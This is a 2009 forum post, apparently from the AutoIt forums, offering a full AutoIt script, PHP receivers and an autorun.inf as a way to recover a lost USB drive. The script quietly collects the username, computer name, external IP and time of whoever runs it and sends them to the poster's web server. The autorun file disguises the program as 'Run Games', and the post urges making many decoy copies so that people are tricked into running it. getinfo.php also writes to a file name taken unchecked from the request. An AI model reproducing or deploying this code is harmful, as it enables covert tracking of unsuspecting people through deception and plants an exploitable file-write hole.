Ok so a few days ago I left my USB in one of the school computer's. So the next day I went to ask the teacher if someone had the USB and of course everyone said "there was no USB here". So I lost all of my work and stuff which made me upset because I didn't have a sure way of getting my USB back!! So I made this program to help me get my USB back if I ever lose it again.
How This Works
Alright so first you must setup a website that supports php. There are plenty of free web hosts that support php so just GOOGLE IT!
Alright now upload "ip.php" and "getinfo.php" to your website(attached;bottom of post) . I'll explain what these do later on.
Alright now just edit my autoit script to your liking.
#NoTrayIcon #include <string.au3> #include <Date.au3> #include <HTTP.au3>;download this here----> http://www.autoitscript.com/forum/index.php?showtopic=29631&st=15&p=319354&#entry319354 $UserName = @UserName $ComputerName = @ComputerName $Date = _DateTimeFormat(_NowCalc(), 1) $Time = _NowTime() $host = "www.google.com";Change to your website address e.g. www.savemyusb.com $page = "/getinfo.php";path to getinfo.php on YOUR website, www.savemyusb.com[/getinfo.php] $ippage = "/ip.php";path to ip.php on YOUR website, www.savemyurb.com[/ip.php] $GetIP = InetGet("http://" & $host & $ippage, @ScriptDir & "\ip.txt", 1) $ReadIPtxt = FileRead(@ScriptDir & "\ip.txt") $ReadIP = _StringBetween($ReadIPtxt, "<!-- IP START -->", "<!-- IP END -->") FileDelete(@ScriptDir & "\ip.txt") If $ReadIP = @error Then MsgBox(16, "Error!", "Unable to connect to server. Please try again later") Exit Else EndIf $vars = "ip=" & $ReadIP & "&username=" & $UserName & "&computername=" & $ComputerName & "&date=" & $Date & "&time=" & $Time & "&file=" & $UserName & ".txt" $url = $page & "?" & _HTTPEncodeString($vars) $socket = _HTTPConnect($host) $get = _HTTPGet($host, $url, $socket) ;Change $FinalMsg to whatever you like! HAHA! Busted! $FinalMsg = "All of the above information and more have been sent" & @CRLF & "to my webserver and saved." & @CRLF & "I Will contact you soon to receive my USB." & @CRLF & "Thanks!" MsgBox(0, "Done sending information!", "Username: " & $UserName & @CRLF & "Computer Name: " & $ComputerName & @CRLF & "IP: " & $ReadIP & @CRLF & @CRLF & $FinalMsg)
My script will grab the following system information from their computer:
-The current date
-The current time
-External IP address
Then send it to your website which will then save it to a text file as 'culprit'sUsername.txt' with all the information inside!
Then of course you can add a final message, like a "HAHA! gotcha!" to the end of the script
How is this information helpful??
Username: A person's username can sometimes be their full name!
Computer Name: Can help locate the computer their at, like at my school, the computer's names are "PEEL1234"
Date & Time: Find the computer but no one's there? Security camera's! My school has them in the library and other places, so locate the computer the then just look at the time stamp. Cameras are everywhere!
External IP: Type their IP address into: http://www.ip-adress.com/ip_tracer/ and you got their general location and ISP
Info.php: Returns the user's external IP address
getinfo.php: All of the culprit's information is sent using the GET method and then saved to a text file
Also make an 'autorun.inf' to your USB so this program shows up as an autoplay option.
[autorun] icon=USBRun.exe open=USBRun.exe action=Run Games label=USB Name shell\open\command=USBRun.exe shell\open=Run Games
Change "USBRun.exe' to whatever you name this program.
Be creative and make a bunch of copies of this program, all with different names and icons, the culprit is bound to click on one of them!
Please post any questions or suggestions about this script. If you can think of any other information that can be extracted from a person's computer then please post it.
Also if anyone knows how to get a person's ISP using php then that would be really helpful! I've been unable to find anything using google.
And when you post please say something constructive!
<?php $fn = $_GET["file"]; $fh = fopen($fn, 'w') or die("can't open file"); $username = $_GET["username"]; fwrite($fh, "Username: ".$username."\n"); $ip = $_GET["ip"]; fwrite($fh, "IP Address: ".$ip."\n"); $computername = $_GET["computername"]; fwrite($fh, "Computer Name: ".$computername."\n"); $date = $_GET["date"]; fwrite($fh, "Date of Message Sent: ".$date."\n"); $time = $_GET["time"]; fwrite($fh, "Time Message Sent: ".$time."\n"); fclose($fh); ?>
<body> <!-- IP START --> <?php echo $_SERVER[REMOTE_ADDR]; ?> <!-- IP END --> </body>
EDIT: Some free hosts put ads in the body of pages automatically so I put comments between the IP's so it only grabs the IP and not everything inside the body. Reupload ip.php and make a small change on line 15 of the .au3 script.
EDIT 2: If "_StringBetween" returns an error the program will exit.
Edited by killerofsix, 07 September 2009 - 08:33 PM.